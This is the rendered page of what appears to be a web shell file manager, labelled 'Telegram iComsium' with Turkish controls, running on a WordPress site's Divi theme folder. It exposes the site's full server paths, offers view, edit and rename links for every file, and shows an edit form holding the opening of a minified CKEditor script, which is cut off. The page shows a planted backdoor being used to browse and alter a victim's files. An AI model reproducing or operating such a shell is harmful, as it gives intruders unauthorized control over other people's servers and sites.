<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: ckeditor.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">/*
Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
(function(){window.CKEDITOR&amp;&amp;window.CKEDITOR.dom||(window.CKEDITOR||(window.CKEDITOR=function(){var a=/(^|.*[\\\/])ckeditor\.js(?:\?.*|;.*)?$/i,e={timestamp:&quot;G6DD&quot;,version:&quot;4.5.10 (Standard)&quot;,revision:&quot;b47abaf&quot;,rnd:Math.floor(900*Math.random())+100,_:{pending:[],basePathSrcPattern:a},status:&quot;unloaded&quot;,basePath:function(){var b=window.CKEDITOR_BASEPATH||&quot;&quot;;if(!b)for(var c=document.getElementsByTagName(&quot;script&quot;),e=0;e&lt;c.length;e++){var f=c[e].src.match(a);if(f){b=f[1];break}}-1==b.indexOf(&quot;:/&quot;)&amp;&amp;&quot;//&quot;!=
b.slice(0,2)&amp;&amp;(b=0===b.indexOf(&quot;/&quot;)?location.href.match(/^.*?:\/\/[^\/]*/)[0]+b:location.href.match(/^[^\?]*\/(?:)/)[0]+b);if(!b)throw&#039;The CKEditor installation path could not be automatically detected. Please set the global variable &quot;CKEDITOR_BASEPATH&quot; before creating editor instances.&#039;;return b}(),getUrl:function(a){-1==a.indexOf(&quot;:/&quot;)&amp;&amp;0!==a.indexOf(&quot;/&quot;)&amp;&amp;(a=this.basePath+a);this.timestamp&amp;&amp;&quot;/&quot;!=a.charAt(a.length-1)&amp;&amp;!/[&amp;?]t=/.test(a)&amp;&amp;(a+=(0&lt;=a.indexOf(&quot;?&quot;)?&quot;\x26&quot;:&quot;?&quot;)+&quot;t\x3d&quot;+this.timestamp);
return a},domReady:function(){function a(){try{document.addEventListener?(document.removeEventListener(&quot;DOMContentLoaded&quot;,a,!1),b()):document.attachEvent&amp;&amp;&quot;complete&quot;===document.readyState&amp;&amp;(document.detachEvent(&quot;onreadystatechange&quot;,a),b())}catch(f){}}function b(){for(var a;a=c.shift();)a()}var c=[];return function(f){function b(){try{document.documentElement.doScroll(&quot;left&quot;)}catch(g){setTimeout(b,1);return}a()}c.push(f);&quot;complete&quot;===document.readyState&amp;&amp;setTimeout(a,1);if(1==c.length)if(document.addEventListener)document.addEventListener(&quot;DOMContentLoaded&quot;,
a,!1),window.addEventListener(&quot;load&quot;,a,!1);else if(document.attachEvent){document.attachEvent(&quot;onreadystatechange&quot;,a);window.attachEvent(&quot;onload&quot;,a);f=!1;try{f=!window.frameElement}catch(l){}document.documentElement.doScroll&amp;&amp;f&amp;&amp;b()}}}()},b=window.CKEDITOR_GETURL;if(b){var c=e.getUrl;e.getUrl=function(a){return b.call(e,a)||c.call(e,a)}}return e}()),CKEDITOR.event||(CKEDITOR.event=function(){},CKEDITOR.event.implementOn=function(a){var e=CKEDITOR.event.prototype,b;for(b in e)null==a[b]&amp;&amp;(a[b]=e[b])},
CKEDITOR.event.prototype=function(){function a(a){var d=e(this);return d[a]||(d[a]=new b(a))}var e=function(a){a=a.getPrivate&amp;&amp;a.getPrivate()||a._||(a._={});return a.events||(a.events={})},b=function(a){this.name=a;this.listeners=[]};b.prototype={getListenerIndex:function(a){for(var b=0,e=this.listeners;b&lt;e.length;b++)if(e[b].fn==a)return b;return-1}};return{define:function(b,d){var e=a.call(this,b);CKEDITOR.tools.extend(e,d,!0)},on:function(b,d,e,m,f){function h(a,g,f,h){a={name:b,sender:this,editor:a,
data:g,listenerData:m,stop:f,cancel:h,removeListener:l};return!1===d.call(e,a)?!1:a.data}function l(){n.removeListener(b,d)}var g=a.call(this,b);if(0&gt;g.getListenerIndex(d)){g=g.listeners;e||(e=this);isNaN(f)&amp;&amp;(f=10);var n=this;h.fn=d;h.priority=f;for(var v=g.length-1;0&lt;=v;v--)if(g[v].priority&lt;=f)return g.splice(v+1,0,h),{removeListener:l};g.unshift(h)}return{removeListener:l}},once:function(){var a=Array.prototype.slice.call(arguments),b=a[1];a[1]=function(a){a.removeListener();return b.apply(this,
arguments)};return this.on.apply(this,a)},capture:function(){CKEDITOR.event.useCapture=1;var a=this.on.apply(this,arguments);CKEDITOR.event.useCapture=0;return a},fire:function(){var a=0,b=function(){a=1},k=0,m=function(){k=1};return function(f,h,l){var g=e(this)[f];f=a;var n=k;a=k=0;if(g){var v=g.listeners;if(v.length)for(var v=v.slice(0),u,q=0;q&lt;v.length;q++){if(g.errorProof)try{u=v[q].call(this,l,h,b,m)}catch(t){}else u=v[q].call(this,l,h,b,m);!1===u?k=1:&quot;undefined&quot;!=typeof u&amp;&amp;(h=u);if(a||k)break}}h=
k?!1:&quot;undefined&quot;==typeof h?!0:h;a=f;k=n;return h}}(),fireOnce:function(a,b,k){b=this.fire(a,b,k);delete e(this)[a];return b},removeListener:function(a,b){var k=e(this)[a];if(k){var m=k.getListenerIndex(b);0&lt;=m&amp;&amp;k.listeners.splice(m,1)}},removeAllListeners:function(){var a=e(this),b;for(b in a)delete a[b]},hasListeners:function(a){return(a=e(this)[a])&amp;&amp;0&lt;a.listeners.length}}}()),CKEDITOR.editor||(CKEDITOR.editor=function(){CKEDITOR._.pending.push([this,arguments]);CKEDITOR.event.call(this)},CKEDITOR.editor.prototype.fire=
function(a,e){a in{instanceReady:1,loaded:1}&amp;&amp;(this[a]=!0);return CKEDITOR.event.prototype.fire.call(this,a,e,this)},CKEDITOR.editor.prototype.fireOnce=function(a,e){a in{instanceReady:1,loaded:1}&amp;&amp;(this[a]=!0);return CKEDITOR.event.prototype.fireOnce.call(this,a,e,this)},CKEDITOR.event.implementOn(CKEDITOR.editor.prototype)),CKEDITOR.env||(CKEDITOR.env=function(){var a=navigator.userAgent.toLowerCase(),e=a.match(/edge[ \/](\d+.?\d*)/),b=-1&lt;a.indexOf(&quot;trident/&quot;),b=!(!e&amp;&amp;!b),b={ie:b,edge:!!e,webkit:!b&amp;&amp;
-1&lt;a.indexOf(&quot; applewebkit/&quot;),air:-1&lt;a.indexOf(&quot; adobeair/&quot;),mac:-1&lt;a.indexOf(&quot;macintosh&quot;),quirks:&quot;BackCompat&quot;==document.compatMode&amp;&amp;(!document.documentMode||10&gt;document.documentMode),mobile:-1&lt;a.indexOf(&quot;mobile&quot;),iOS:/(ipad|iphone|ipod)/.test(a),isCustomDomain:function(){if(!this.ie)return!1;var a=document.domain,b=window.location.hostname;return a!=b&amp;&amp;a!=&quot;[&quot;+b+&quot;]&quot;},secure:&quot;https:&quot;==location.protocol};b.gecko=&quot;Gecko&quot;==navigator.product&amp;&amp;!b.webkit&amp;&amp;!b.ie;b.webkit&amp;&amp;(-1&lt;a.indexOf(&quot;chrome&quot;)?b.chrome=
